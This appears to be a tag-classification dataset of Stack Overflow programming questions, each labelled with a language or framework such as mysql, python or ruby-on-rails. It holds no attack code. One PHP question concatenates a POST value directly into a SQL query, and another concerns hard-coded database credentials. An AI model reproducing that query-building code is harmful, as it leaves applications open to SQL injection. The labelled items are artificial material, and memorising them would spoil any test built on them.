protecting hard coded strings from decompilation  i am writing an application that needs to connect to a mysql database on an external server. i need a  hard coded  string to connect to the database which contains user and password details. this is an issue when people can decompile my application to view almost exactly the code that i originally typed  which could give them direct access to my database.    is there any way of preventing people from viewing these strings with code  i d prefer not to use obfuscators.    many thanks  steve,c#
storing date and time of insert in mysql <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1642410/time-date-stamp-in-a-mysql-table-row >time &amp; date stamp in a mysql table row</a>    </blockquote>     what would be the best way to store a date and time that the insert statement was run  would it be to include the now() function in the query  once that is done  will it be possible to calculate if 72 hours has passed,mysql
are the following 2 code snippets equivalent in javascript <pre><code>var search = function(name) {   for(var prop in friends) {     if(friends[prop].firstname === name) {       console.log(friends[prop]);       return friends[prop];     }   } }; </code></pre>   code snippet 2:   <pre><code>var search = function(name){     for(var prop in friends)       {          if(prop.firstname === name)              {                 console.log(prop);                 return prop;              }       } }; </code></pre>   here friends is an object and firstname is one of the keys.,javascript
what is the relation between .h and .m files   i know that .m files are where the implementation is and .h files have the method signatures  etc. when one wants to use a certain class in his class  then he imports the .h file. preprocessor replaces the import .h file with the content of the .h file. what i don t understand is how come access to implementation become available from just preprocessor bringing the .h content  what is the runtime mechanism that allows this,objective-c
withcredentials angularjs request post error  i can t seem to send <code>$http.post</code> requests for authentication. my code matches the solution on this page <a href= https://stackoverflow.com/questions/13741533/angularjs-withcredentials >angularjs withcredentials</a>  but i get this error through my browser console.   <pre><code>credentials flag is  true   but the  access-control-allow-credentials  header is   . it must be  true  to allow credentials. </code></pre>   this is what the code looks like:   <pre><code>$scope.authenticate = function (user  pass) {     $http.post(authurl  {         username: user          password: pass     }  {         withcredentials: true       }) } </code></pre>   i m still new to angularjs but i read another site for help on setting custom headers  so i could fix the error message regarding the header. i tried to use:   <pre><code>$httpprovider.defaults.headers.post = {  access-control-allow-credentials  :  true  } </code></pre>   but i can t seem to get it right without <code>$httpprovider undefined</code> errors. i put it above the <code>$http.post</code> call  and also in the controller s function scope:   <pre><code>    .controller( authctrl   function($scope  $http  authurl  $httpprovider) { </code></pre>   any ideas,angularjs
mysql: how to find sequence of values in column  i have long list of rows with random values:   <pre><code>| id | value | |----|-------| |  1 | abcd  | |  2 | qwer  | |  3 | jklm  | |  4 | yxcv  | |  5 | tzui  | </code></pre>   then i have an array of few values:   <pre><code>array( qwer    jklm ); </code></pre>   and i need to know  if this sequence of values from array already exists in table in given order. in this case the sequence of values exists.    i tried to concat all values from table and array and match two strings  which works great with few rows but there are actually hundred of thousand of rows in table. i believe there should be a better solution.,mysql
i can t find generate local resource from tools menu in visual studio 2010  i m in design view (markup) at webpage. i can t find  generate local resource  from my tools menu. can any one tell me how to enable this tool.,asp.net
using class file in a different directory  i’m trying to run a simple class that’s making use of a class located in a separate sub folder. it’s compiling fine  however  an exception occurs when being run.    lol.java:   <pre><code>public class lol {     public static void main(string args[])     {         test();     }      public static input test()     {         input asdf = new input();         return asdf;     } } </code></pre>   input.java:   <pre><code>public class input {     public int x; } </code></pre>   i compiled with the command:   <pre><code>javac lol.java home/input.java </code></pre>   folder structure after compiling:   <pre><code>test  |  |---lol.java  |---lol.class  |---home       |       |---input.java       |---input.class </code></pre>   which compiles without errors; however  i’m not sure how to run it afterwards.    i tried running it with:   <pre><code>java lol </code></pre>   but now the “input” class can’t be found because it’s in a separate folder and thus result in the following exception:   <pre><code>java.lang.noclassdeffounderror: input         at java.lang.class.getdeclaredmethods0(native method)         at java.lang.class.privategetdeclaredmethods(unknown source)         at java.lang.class.getmethod0(unknown source)         at java.lang.class.getmethod(unknown source)         at sun.launcher.launcherhelper.getmainmethod(unknown source)         at sun.launcher.launcherhelper.checkandloadmain(unknown source) caused by: java.lang.classnotfoundexception: input         at java.net.urlclassloader$1.run(unknown source)         at java.net.urlclassloader$1.run(unknown source)         at java.security.accesscontroller.doprivileged(native method)         at java.net.urlclassloader.findclass(unknown source)         at java.lang.classloader.loadclass(unknown source)         at sun.misc.launcher$appclassloader.loadclass(unknown source)         at java.lang.classloader.loadclass(unknown source)         ... 6 more exception in thread  main  </code></pre>   how would i go about running it while keeping this folder structure,java
how can i print specific length of output  like %d to be always 50 spaces out of the line   so if i have an output like   <pre><code>hello how are you         500 halllo                    500 </code></pre>   and that  500  is always supposed to be there at that specific position no matter what came infront of it what would needed to be put      i ve tried adding things like    <pre><code>printf ( 10%d   w.e); printf ( \t\t%d   w.e); </code></pre>   but the words like  hello how are you  and  hallo  always influence it and move it further along the same line. how can i position the 500 output to always be in one place,c
python character encoding   i m not sure with the title i m used  but basically i want to get rid off weird characters from the string. here is the code:   <pre><code>#!/usr/bin/python # -*- coding: utf-8 -*- # source: http://snippets.dzone.com/posts/show/4569  from htmlentitydefs import name2codepoint as n2cp import re  def substitute_entity(match):     ent = match.group(3)      if match.group(1) ==  # :         if match.group(2) ==   :             return unichr(int(ent))         elif match.group(2) ==  x :             return unichr(int( 0x +ent  16))     else:         cp = n2cp.get(ent)          if cp:            return unichr(cp)         else:            return match.group()  def decode_htmlentities(string):     entity_re = re.compile(r &amp;(# )(x )(\d{1 5}|\w{1 8}); )     return entity_re.subn(substitute_entity  string)[0]    test = [ &lt;b&gt;blogger&lt;/b&gt; in the classroom - &lt;b&gt;google&lt;/b&gt;    of\xef\xac\x81cial &lt;b&gt;google   blog&lt;/b&gt; ] container = []  for i in test:     container.append(decode_htmlentities(i)) print container  for i in test:     print decode_htmlentities(i) </code></pre>   and here is the result:   <pre><code>[ &lt;b&gt;blogger&lt;/b&gt; in the classroom - &lt;b&gt;google&lt;/b&gt;    of\xef\xac\x81cial &lt;b&gt;google blog&lt;/b&gt; ]  &lt;b&gt;blogger&lt;/b&gt; in the classroom - &lt;b&gt;google&lt;/b&gt; ofﬁcial &lt;b&gt;google blog&lt;/b&gt; </code></pre>   the question:    using the same function (decode_htmlentities())  why i get a different result when appending into a list and  just  printing     here is the difference:   <pre><code>of\xef\xac\x81cial &lt;b&gt;google blog&lt;/b&gt; # output from list ofﬁcial &lt;b&gt;google blog&lt;/b&gt; # output from print  </code></pre>,python
use formview to insert to database  i am having a problem getting the formview control in visual studio 2010 inserting data into a sql database i have managed to view the data that is currently in the database but when i click insert i get an error message i just don t understand what i am doing wrong    thanks!,asp.net
overwrite redirect_to in action_controller/metal/redirecting.rb  i need to modify default redirect_to method in actionpack/lib/action_controller/metal/redirecting.rb   <pre><code>def redirect_to(options = {}  response_status = {}) #:doc:       ....       self.location      = _compute_redirect_to_location(options)       # add customized code here to modify self.location       ...... end </code></pre>   i am not sure what is the correct approach.  what i did are the followings:   <ul> <li>copy redirecting.rb to my rails project in  lib/rails_ext/action_controller/redirecting.rb </li> <li>made the change to redirect_to() method </li> <li>add the line: require  rails_ext/action_controller/redirecting  in application.rb</li> </ul>   it worked. however  i am getting an warning<br> rails_ext/action_controller/redirecting.rb:3: warning: already initialized constant default_message    in additional  i think there must be a better way to accomplish this.,ruby-on-rails
extract number from a list in python  i am using python v2.x windows 64bit. the question is  i would like to extract a number (102) from a list  but i can only get a part of if.    here is a list:    <pre><code>data = [ getmotors \r    parameter value\r    brush_rpm 0\r    brush_ma 0\r    vacuum_rpm 0\r    vacuum_ma 0\r    leftwheel_rpm 1800\r    leftwheel_load% 42\r    leftwheel_positioninmm 10452\r    leftwheel_speed 102\r    rightwheel_rpm 1800\r    rightwheel_load% 42\r    rightwheel_positioninmm 9650\r    rightwheel_speed 102\r    rotation_speed 0.00\r    sidebrush_ma 0\r    \x1a ] </code></pre>   how to extract the speed of leftwheel_speed (102)  i tried <code>data[9][-2]</code>  but what i get is ‘<code>2</code>’ rather than ‘<code>102</code>’.,python
my linq sort does not seem to be sorting the way i asked it to  i have this code:   <pre><code>var query = _cityrepository.getall(                               u =&gt; u.partitionkey == pk &amp;                               u.rowkey.compareto(lowerbound) &gt;= 0 &amp;                               u.rowkey.compareto(upperbound) &lt; 0)                .orderby(item =&gt; item.rowkey.substring(0  3))                .thenby(item =&gt; item.shorttitle)                .select((t  index) =&gt; new city.grid()                {                    partitionkey = t.partitionkey                     rowkey = t.rowkey                     row = index + 1                     shorttitle = t.shorttitle                     created = t.created                     createdby = t.createdby                     modified = t.modified                     modifiedby = t.modifiedby                })                .tolist(); </code></pre>   when i look at the data coming out i find this for the first two rows:   <pre><code>rowkey = 0101004o   shorttitle =  access 1  rowkey = 0103004m   shorttitle =  access 2  rowkey = 0101004k   shorttitle =  xxx  </code></pre>   when testing i simplified this to:   <pre><code>        var query1 = _cityrepository.getall()             .orderby(item =&gt; item.rowkey.substring(0  3))             .thenby(item =&gt; item.shorttitle); </code></pre>   and the order is the same. still the rowkey does not seem to be in the right order.     it is supposed to sort on the first four characters of the rowkey and then on the shorttitle.     can anyone see why this is not working. i have looked hard but i can t see why the orderby and thenby doesn t seem to work correctly.,c#
assign feature array to model  i have a model  car  that has_many  features  . i keep all the features in a separate model  features .when a car is created  i want to let the user select (via check-boxes) what features should the new car have.    right now i m doing something like this  which is wrong  but i have no other idea :   <pre><code>= f.label  other features  - feature.all.each do |feature|   = f.check_box :feature </code></pre>   how could i achieve this,ruby-on-rails
what is targetedpatchingoptoutattribute  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/6109745/targetedpatchingoptout-performance-critical-to-inline-across-ngen-image-bounda >targetedpatchingoptout: &ldquo;performance critical to inline across ngen image boundaries&rdquo; </a>    </blockquote>     when looking through .net source code  i see the following relatively frequently:   <pre><code>[targetedpatchingoptout( performance critical to inline this type of method across ngen image boundaries )] </code></pre>   what is this for,c#
html fetch table/div from extern website  as my title states it  i am building a html app and for that i need to get some data from a website which i do not have database acces too. so this seemed like a good way to get around that. also i am not going to use iframes in this.,html
how to stop os.walk from walking all sub-directories down   using:   <pre><code>def simplefunc(dirname):     import os     filelist=[]     for dir  dirs  filenames in os.walk(dirname):         for filename in filenames:             filepath=dir+ / +filename             filelist.append(filepath)     print filelist   simplefunc(os.path.dirname( /entire/path/to/file.ext )) </code></pre>   the problem is that <code>os.walk</code> just doesn t stop at <code>/entire/path/to/</code> directory level but goes all the way down to the lowest sub-directory it can find. so if there is <code>/entire/path/to/subdir1/subdir2/subdir3</code> then in additional to <code>/entire/path/to/</code> all three sub-directories will be searched: <code>./subdir1/</code>  <code>././subdir2/</code>  <code>./././subdir3/</code>. question: how to make sure the function stops at the directory level specified: <code>/entire/path/to/</code> and doesn t go all the way down,python
how to make uiview and button and textfield customly in iphone  i need to make a uiview in which i need to make some textfield and button in iphone customly. please help me.,iphone
what does  psz  stand for in pszbuffer or the similar   i know it is a little bit off topic but i believe i can get the answer anyway here. what does  <code>psz</code>  stand for in <code>pszbuffer</code> or the similar variable in c/c++ system library  i saw a lot of variables prefixed with  <code>psz</code>  and it looks like a pattern.    thanks!,c
can .net 3.5 apps run on machines that have .net 2.0 runtime installed   i write my app in vs 2008 and so use all the fanciful stuffs such as linq  object initializers etc. now can my app run on machines that have only .net 2.0 runtime  but no .net 3.5 runtime  .net 3.5 runtime is a huge download  as all of you might know.,.net
fatal error: call to a member function fetch_assoc() on boolean in c:\xampp  i am trying to list the students according to their class  when i select the class name and refresh the table  it is not listing the students and gives a fatal error    <blockquote>    fatal: call to a member function fetch_assoc() on boolean in   c:\xampp...  </blockquote>   this is the function i have coded and with this i want to select students according to their class:    <pre><code>    function std_list_header(){      $connection=new mysqli( localhost   root      dar_ul_hidaya );      $query =  select * from class ;           $res = mysqli_query($connection  $query);          if($res){             $rs=mysqli_fetch_assoc($res);                 echo  &lt;tr&gt;&lt;td colspan= 2  style= border-right:none; &gt;&lt;b&gt;class: .$rs[ jamat ]. &lt;/b&gt;&lt;/td&gt;                &lt;td colspan= 3  &gt;             &lt;form action= student.php  method= post &gt;             &lt;select name= jamat &gt;  &lt;option value= -1 &gt;select class&lt;/option&gt; ; $jamat=  ;  if (isset($_post[ jamat ])) {     if($_post[ jamat ]&gt;=0){         $jamat=$_post[ jamat ];      } }       $query= select jamat from class ;     //echo $query;      $result=$connection-&gt;query($query);        while($rs=$result-&gt;fetch_assoc()){              echo &lt;option value= .$rs[ id ].   .($jamat==$rs[ id ]  selected :  ). &gt; .$rs[ jamat ]. &lt;/option&gt; ;     }     echo  &lt;/select&gt;     &lt;input type= submit  value= refresh &gt;     &lt;/form&gt;                 &lt;/td&gt;                   &lt;/tr&gt; ;}       } </code></pre>   and this is the main page where i display the list of students:    <pre><code>&lt;table align= center   border= 1px  width= 600px &gt;   &lt; php         std_list_header();   &gt;    &lt;tr&gt;     &lt;th width= 30px &gt;کلاس&lt;/th&gt;     &lt;th width= 30px &gt;ولدیت&lt;/th&gt;     &lt;th width= 30px &gt;نام&lt;/th&gt;     &lt;th width= 30px &gt;نمبر شمار&lt;/th&gt; &lt;/tr&gt;    &lt; php      $query= select student.id  student.name  student.fname student.class from   student inner join enroll on student.id=enroll.student_id  inner join class on enroll.class_id=class.id ;   if (isset($_post[ jamat ])) {     if($_post[ jamat ]&gt;=0){ $query=$query.  where class.id= .$_post[ jamat ];       };   }    $resultset=$connection-&gt;query($query);  $count=0;  while($r=$resultset-&gt;fetch_assoc()){      $count++;  echo                &lt;tr&gt;              &lt;td&gt; .$r[ class ]. &lt;/td&gt;             &lt;td&gt; .$r[ fname ]. &lt;/td&gt;             &lt;td&gt; .$r[ name ]. &lt;/td&gt;             &lt;td&gt; .$count. &lt;/td&gt;             &lt;/tr&gt;  ;  }   &gt;        &lt;/table&gt; &lt;/tr&gt; &lt;/table&gt; </code></pre>,php
validate that date of birth should not be greater than the current date  validate that date of birth should not be greater than the current date. using datetimepicker in asp.net 2.0 and c#..,asp.net
angularjs - which watcher is dirty   i am trying to understand why does $digest is constantly running (recursive loop) in my angular application.    i am trying to see which of the watchers are dirty. any ideas on how to do that     the digest cycle is running constantly because the digest cycle runs watcher a  watcher a executes <code>b = new value</code>  then the next cycle b executes <code>a = new value</code>  etc.. in this example  a can be equal to b.    i am trying to find a and b  and stop them from happening.,angularjs
most efficient way to turn (x=y) into true   as an exercise in learning the c# language  i would like to do an integer assignment x=y but then return the boolean true.   <pre><code>bool b=(x=y)==y; </code></pre>   this works but its a bit smelly.  is there a c# operator or casting method that turns an integer into a bool     this is a predicate to the next exercise which involves yet another horrible hack.,c#
is it possible to make an action that does line number  x   let me explain my self  i don t know if it is possible so i ll write it in pseudo code   <pre><code>while (condition) {      do the action in line number x;      x++; } </code></pre>   e.g if line number 40 in my code contains this following line:  printf( hello );  then the program will print  hello  and then check the condition and if the condition is true then it will do the action in line number 41.,c
price range problem  i am developing an application which deals with commission based on price range<br/>    i have 2 text-boxes (input type= text )  one for lower-limit  and another for upper-limit    everytime someone adds new price range  i need to validate that it is available before hand or not  and whether it will fall in any of the previous price range    example for valid ranges:<br><br> 1-10<br> 11-20<br> 21-30<br> 31-40<br>    what should not be allowed are:<br><br> (considering following range is available with us<br> 1-10<br> 11-20<br> 21-30<br> 31-40<br> )<br><br> following should not be allowed<br> 0-5<br> 2-8<br> 0-15<br> 5-12<br>    <br><br> help appriciated.,php
is it possible to do it in one query with dynamic table name without prepare statement   i have a survey record table which i want to count the latest survey recoders with field  complete  is  y   while the latest  survay name is in another table with the createdate  that s mean  the table name is dynamic    <pre><code>select  complete  count(*)   from(    select  survey_name     from survey    where active=  y      order by cratedate desc    limit 1   )  </code></pre>   but it cant work    <strong>record</strong> table: (name is dynamic)   <pre><code>id | complete | submitdate </code></pre>   <strong>survey</strong> table:   <pre><code>survay_name | active | cratedate </code></pre>   i knew it should be done by prepare statement  but my system (joomla + plotalot) only accept one query.,mysql
href tag tel: not working  i know this question has been asked lot of times. but i don t find a solution for my problem.    i have a link like which i want to make an externall call from mobile view like this:   <pre><code>&lt;a href= tel:902 1111 111 &gt;902 111 111&lt;/a&gt; </code></pre>   but when i click on it  it s not working.  i m using: <em>java ee</em>  <em>html</em>  <em>css</em> to build my page. any idea on why it s not working,html
expression in c++ <pre><code>int main() {   int a = 10;   int b = a * a++;   printf( %i %i   a  b);   return 0; } </code></pre>   is the output of the above code undefined behavior,c++
combining two arrays based on the first item in the array  ok  so i ve got two arrays planned - which will be sorted based on a date or timestamp  as so:   <pre><code>array([date] =&gt;  8/12/12   [rating] =&gt; 300) </code></pre>   and lets say a second array looks like this:   <pre><code>array([date] =&gt;  8/12/12   [rating2] =&gt; 600) </code></pre>   i want to combine these two as such:   <pre><code>array([date] =&gt;  8/12/12   [rating] =&gt; 300  [rating2] =&gt; 600) </code></pre>   what would be the most effective way to do this,php
how to make a custom drawn uitableviewcell resize properly   for performance reasons  i draw the strings for my uitableviewcell in a custom view that overrides its drawrect method to draw strings directly in the view rectangle using nsstring:drawinrect. this is similar to apple s tableviewsuite example 5-customtableviewcell.    however  when i invoke setediting on the cell to bring up the delete button  the view ends up with a squeezed appearance after the animation completes. to demonstrate this  invoke setediting:yes on the customtableviewcell example mentioned above and observe the distortion. is there any way around this or should i just revert back to using uilabels for my text,iphone
how to add different conditional statements in sql query  i have a column name  code  in my database and it contain different numbers like this..   <pre><code>product      |      code ===============================   p1         |       0   p2         |      120   p3         |       0   p4         |      222   p5         |       1   p6         |       1   p7         |      180   p18        |      300 </code></pre>   i want to sort table  order by code. products with code  1  comes first  then all the numbers in asc order  and at the end show products with code  0 .  like this   <pre><code>product      |      code ===============================   p5         |       1   p6         |       1   p2         |      120   p7         |      180   p4         |      222   p18        |      300   p3         |       0   p1         |       0 </code></pre>   any help for sql query thanks,mysql
thread ui sleep withtout freezing scrollview  i m trying to implements a game ai  and i got the following problem : i m calling a method from another class my ui activity class  this method call itself some methods of the ui activity class (to simulate click on screen among other things)  and the things is  at the end of this method  i need to  pause   the game a few seconds to let the user see what did the ai.    so i tried running the method in another thread  but i got the error message providing from editing a widget from another thread. i tried to sleep the ui thread  but by doing that  the user can t use the scrollview anymore  and the changes aren t display before the sleep but after.    so i d like to know how can i do this    (i ve read some topics about asynctask  handler  but can t make it work the way i need) thank s,android
is there a way to automatically answer incoming cell calls   is there a way to automatically answer an incoming cell call from an android application  i know it can be detected etc. but can it be programmatically answered,android
creating a file using python on different folder  i am working on a remote server  say ip: 192.128.0.3. on this server there are two folders: <code>cgi-bin</code> &amp; <code>html</code>. my python code file is in <code>cgi-bin</code> which wants to make data.json file in <code>html/rohith/</code> where rohith folder is already exists. i use the following code   <pre><code> jsonobj = json.dumps(main_func(s));  fileobj = open( http://192.128.0.3/rohith/data.json   w+ );  fileobj.write(jsonobj); </code></pre>   but it is not creating the file there although i can create on the same folder (cgi-bin) of my python script. can anyone tell me why it is not creating the file in the given destination,python
pass string as a parameter  i am passing string to a function but its giving me an error :   <pre><code>assignattr(var menu= menu   var container= menu_container  var text= menu_text );  function assignattr(menu container text) {  alert(menu + container + text); } </code></pre>,javascript
real time monitoring system using .net  need to know the right way of accomplishing this task.     task description:    we need to develop the application which display the dashboard where data from various sql db is fetched from different servers and displayed. now this need to happen real time we can have refresh time say 5 min.    please refer the analogy so that it will help me to take the right path.     here are some details  just for your reference.    1)  how many servers               this application may support around max 100 servers.    2)  this application will be used by administrator to find the health of the sql server db.    3) this will be build by 2 developers in approx 3 months time.    4) refresh rate will be configurable as a administrator option.  5) this will be a web based application.    regards  sameer,.net
dealing with holiday exception in date calculation  i have a report that is run once a year for top heavy testing. this report requires running of a payroll stored procedure with an input parameter of the last payroll run of the prior year.  employees are paid every two weeks on friday  so i calculate that with a  seed  date as follows:   <pre><code>    public datetime getlastpaydayofyearfromdate(datetime mydate)     {         string myday = mydate.dayofweek.tostring();         while (myday !=  friday )         {             mydate = mydate.adddays(-1);             myday = mydate.dayofweek.tostring();         }          datetime myseeddate = datetime.parse( 01/02/1970 );         timespan mytimespan = mydate.subtract(myseeddate);         int mydaysdifference = mytimespan.days;         int test = (mydaysdifference % 14);         if (mydaysdifference % 14 != 0)         {             mydate = mydate.adddays(-7);         }          return mydate;     } </code></pre>   that usually works exactly the way i want it to  but i have run into an unanticipated exception.  if you look at a 2015 calendar  12/18/2015 is  indeed  the last payroll friday of 2015  so 01/01/2016 would normally be the payday  but in this case  since 01/01/2016 is a holiday  the company ran payroll on thursday. thus the last payroll was actually 12/31/2015  but my code above will not produce that date.    it is rare that something like this will happen  but it did happen  and the report is inaccurate because of that.  how do we code reliably for such exceptions  and then the inevitable  exception to the exception,c#
how to interact with a web server using ios  without using a webview  i am trying to get some data out of my wiki server  and send it to my iphone  so i can have nicely formatted data as in any iphone app.    i could indeed just use a webview and load the page  but i am trying to achieve a different kind of ui; i would like to have the values saved on the device after retrieving them from the wiki  and have them added to a tableview  while other info are displayed trough labels or textfield.    my main problem is that i do not know where to start...everyone told me to use a webview and use the dom to retrieve the data; but i am sure that there must be some other way to accomplish this natively.    anyone has any suggestions about where to start,ios
iphone development  how will you test an iphone application without the iphone being available,iphone
iphone mvc game design question  i ve got a question about the model view controller (mvc) design pattern for iphone games.    let s say i have a simple game that uses a viewcontroller. so this view controller has an associated window/view and takes player inputs of buttons sliders  etc.. on this view.    now i also have a subview of the viewcontroller s main window/view and i actually do some animation of various polygons in this subview. i also want to take touch events in this subview.    my question is  in the subview  i ve got all the user touch code and animation code as the player s touch input affects the animation directly changing rotation etc.. there s a lot of variables in my subview class. am i violating the mvc design  should i delegate this stuff to another class or the view controller     many thanks,iphone
.net core commandoption understanding  i have a simple .net core console application. i am trying to parse command options:   <pre><code>static void main(string[] args) {   commandlineapplication app = new commandlineapplication(throwonunexpectedarg: true);    app.command( client   c =&gt;             {                 commandargument argument = c.argument( action    client action );                 commandoption first = c.option( --f &lt;name&gt;    method argument.   commandoptiontype.multiplevalue);                 commandoption second = c.option( --s &lt;name&gt;    method argument.   commandoptiontype.multiplevalue);                  c.onexecute(() =&gt;                 {                     switch (argument.values.last())                     {                         case  action :                             {                                 bool hasfirstarg = first.hasvalue();                                 var fvals = first.values;                                 var svals = second.values;                                  break;                             }                         default:                             throw new argumentexception( unrecognized client action );                     }                      return 0;                  });             });       app.execute( client    action    --f: foo ); // command1     //  first  option values = { foo }   second  option values = {}     app.execute( client    action    --s: bar ); // command2     //  first  option values = { foo }   second  option values = { bar } } </code></pre>   as you see <em>command1</em> change only  first  option  and <em>command2</em> change only  second  option ( first  collected after <em>command1</em>). but while <em>command2</em> execute  i cant determine correct  first  option value because commandoption values it is a history of this option. i cant just take last value. its previous command option.<br> how can i get current command options in that case,.net
how can i add image to listview when i set it to details   how can i add image to listview when i set it to details,c#
destroy and re-create model in rails  i have a small guestbook-like ruby on rails project which has a model  users  used by several other models to keep track of who posts which comments and so on.    now  i would like to replace my current  users  model with one generated using devise.    i am a bit unsure how to this however. i assume i should somehow destroy the previous models  and then use the devise command to generate a new users model.    my is  can i destroy and re-create my model without this breaking the application  if so  how can i do this,ruby-on-rails
rails :dependent => destroy with conditions  say i have dogs  leashes  and owners... if i destroy a leash i want to destroy the dog too.. but not if the dog has an owner..,ruby-on-rails
c# aspx downloading files from localhost  i am trying to download a file (.txt) from my web service. my web service works with this code    <pre><code>webclient req = new webclient(); httpresponse response = httpcontext.current.response;  response.contenttype =  image/jpeg ; response.addheader( content-disposition    attachment;filename=  +     filename); response.writefile( c:\\temp\\storage\\  + (filename)); response.end(); </code></pre>   and i would like to call it from the client. how is that done,asp.net
accessing on first element inside collection  if i m sending object named property which have photos collection when i m need only first element from that photos collection like this  does this approach load all elements from collection and than assoc. only first like i want  or is this approach the one i need  first load from collection.   <pre><code>public propertyhpviewmodel(property x) {     id = x.id;     created = x.created;     title = x.title;     photo = x.photos.first(); } </code></pre>   generated sql from profiler   <pre><code>select photos0_.propertyid    as propertyid1_         photos0_.id            as id1_         photos0_.id            as id1_0_         photos0_.imagedata     as imagedata1_0_         photos0_.imagemimetype as imagemim3_1_0_         photos0_.propertyid    as propertyid1_0_ from   photo photos0_ where  photos0_.propertyid = 129 /* @p0 */ </code></pre>   <strong>updated</strong> since i have 20 of this generated queries all differeted only in last line     <code>where  photos0_.propertyid = xxx /* @p0 */</code>    where the number is photo id object  i must add that i have select n+1 alert on this queries according to nhibernate profiler.,c#
returning an iterator from a generic function  i am new to c++ and i am unsure how to do this. i am trying to learn templates.     this is my current code. it sends a container (not specified which type it will receive) and returns true if the integer passes alongside the iterators is in the container. false if it does not appear.    <pre><code>#include &lt;iostream&gt; #include &lt;vector&gt; #include &lt;list&gt;  template &lt;typename iter&gt; bool function(iter first  iter last  const int x) {   for (auto it = first; it!=last; ++it)   {     if (*it == x)     {       return true;     }   } return false; }  int main() {   std::vector&lt;int&gt; vec = {1 2 5 10 11};    std::list&lt;int&gt; lis = {1 1 5 9 55};    auto first = vec.begin()  last = vec.end();   auto first2 = lis.begin()  last2 = lis.end();    std::cout&lt;&lt;function(first  last  11);   std::cout&lt;&lt;function(first  last  9)&lt;&lt;std::endl;    std::cout&lt;&lt;function(first2  last2  6);   std::cout&lt;&lt;function(first2  last2  55)&lt;&lt;std::endl;  return 0; } </code></pre>   i would like to modify this function so that instead of returning a bool  it returns an iterator to the first match. how would i go about doing this  it would be really helpful if someone could push me in the right direction.,c++
how to get data by mysql  i have list player as below.   <pre><code>+-----------+------------+------------+ | player_id | mission_id | reg_time   | +-----------+------------+------------+ |         1 |          1 | 1508392600 | |         1 |          2 | 1508392800 | |         1 |          3 | 1508392900 | |         1 |          4 | 1508392822 | |         2 |          1 | 1508392500 | |         2 |          2 | 1508392600 | |         2 |          3 | 1508392900 | |         3 |          1 | 1508392600 | |         3 |          2 | 1508392600 | |         3 |          3 | 1508392900 | |         3 |          4 | 1508392900 | |         4 |          1 | 1508392600 | |         4 |          3 | 1508392900 | +-----------+------------+------------+ </code></pre>   i want to get all of player_id has    mission_id = 1  2 and reg_time &lt;= 1508392800 and     mission_id = 3  4 and reg_time > 1508392800 as below   <pre><code>+-----------+------------+------------+ | player_id | mission_id | reg_time   | +-----------+------------+------------+ |         1 |          1 | 1508392600 | |         1 |          2 | 1508392800 | |         1 |          3 | 1508392900 | |         1 |          4 | 1508392822 | |         3 |          1 | 1508392600 | |         3 |          2 | 1508392600 | |         3 |          3 | 1508392900 | |         3 |          4 | 1508392900 | +-----------+------------+------------+ </code></pre>   how i can do by mysql,mysql
executing a function in python  i am having a spot of bother with the following script  it uses a function within it:   <pre><code>def my_function(arg1  arg2  arg3):     print( i love listening to %s  %(arg1))     print( it is normally played at %d bpm  %(arg2))     print( i also like listening to %s  %(arg3))     print( dat be da bomb playa! )  print( what music do you like listening to  ) ans1 = input( &gt;&gt; )  print( what speed is that usually played at  ) ans2 = input( &gt;&gt; )  print( whats your second favourite genre of music  ) ans3 = input( &gt;&gt; )  my_function(ans1  ans2  ans3) </code></pre>   i get to the first user input: what music do you like listening to  when i type in  house  and hit enter  i am expecting the second question to be displayed  but i get the following error message:   <pre><code>traceback (most recent call last):  file  ex19_myfunction.py   line 26  in &lt;module&gt; ans1 = input( &gt;&gt; )  file  &lt;string&gt;   line 1  in &lt;module&gt; nameerror: name  house  is not defined** </code></pre>   any help would be appreciated!,python
how to declare a function globally in the iphone application  i know how to make global variables in the iphone programing. i want to know can we make a global function in iphone application (like a global veriables).,iphone
do i need to include files that my included files depend on   i have a c program named codertest.c in a directory. in a sub-directory  src  i have several files  one.c  two.c  three.c  and their associated header files one.h  two.h  three.h.    i want to use functions from one.c and two.c in codertest.c. both one.c and two.c use functions from three.c. do i need to include three.c in codertest.c  or will it take care of it s dependency on it s own     i am using <code>#include  src/one.h </code> for one and two.,c
rails  how to stop it removing items from database   i currently have an app which allows users to add shows to their account. to do this i have a user  show and user_show models and associate them as follows:   <pre><code># user.rb: has_many: user_show has_many: shows  through: :user_shows  # show.rb has_many :user_shows has_many :users  through: :user_shows  # user_show.rb belongs_to: user belongs_to: show </code></pre>   currently in my user controller i have this for adding and removing:   <pre><code>class userscontroller &lt; applicationcontroller    def add_show     show = show.find params[:id]     current_user.shows &lt;&lt; show     redirect_to my_shows_path     flash[:notice] =  show added    end    def remove_show     show = show.find(params[:id]).destroy     redirect_to my_shows_path     flash[:notice] =  show removed    end end </code></pre>   and my routes like this:   <pre><code>resources :users  except: :show do   collection do     get  add_show/:id   action: :add_show  as:  add_show      delete  remove_show/:id   action: :remove_show  as:  remove_show  #-&gt; should create /users/add_show  considering you have current_user   end end </code></pre>   as you can probably see  it completely deletes the show from the database and doesn t just remove it from that user. how would i change this to avoid this from occurring,ruby-on-rails
"my web have lag when load data from server  i tell you my problem.    i m working with angularjs  and routes (ngroute). so  when i open a view  this it have a delay  because load data from my server on controller.    i do it with $http.    code:    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>$http.post( controllers/communectrl.php  { option  :  getallcommunes })
   .success(function(results){
     $scope.comunas = results;
   });</code></pre>
 </div>
 </div>
     this it returns me 350 data rows",angularjs
nested class in .net  i have a nested class. i want to access the outer and nested classes in other class. how to access both class properties and methods and my condition is i want to create object for only one class plz provide the code snippet,.net
exception that gets caught for some reason bubbles up to another catch block  we have an unusual case  a try-catch block inside another try-catch block. both catch clauses catch exception type of exceptions. error that occurs in the most inner try-catch block  gets caught byt the first catch that is empty and instead of moving to the next line  it gets caught another time by the other catch. this is something i have never seen before. one of our colleagues claims that this is some setting but he does not remember what kind of setting. do you know why is this happening and how to  turn it off   please find the code below:   <pre><code>    try {         //some code                                         try         {                //code that throws exception                                     }         catch (exception)         {         }          //some other code  never reached          }      catch (exception ex)      {            logger.write(ex.tostring());            return null;      } </code></pre>,.net
android questionnaire activity  i am currently looking to create an application in android where a user can answer a questionnaire and that information is saved. the questionnaire will be in a sqlite database and can have different set on answers  and their can be several questionnaires the user can choose to fill. how do i go about firstly having the ability to create a dynamic questionnaire view for the user,android
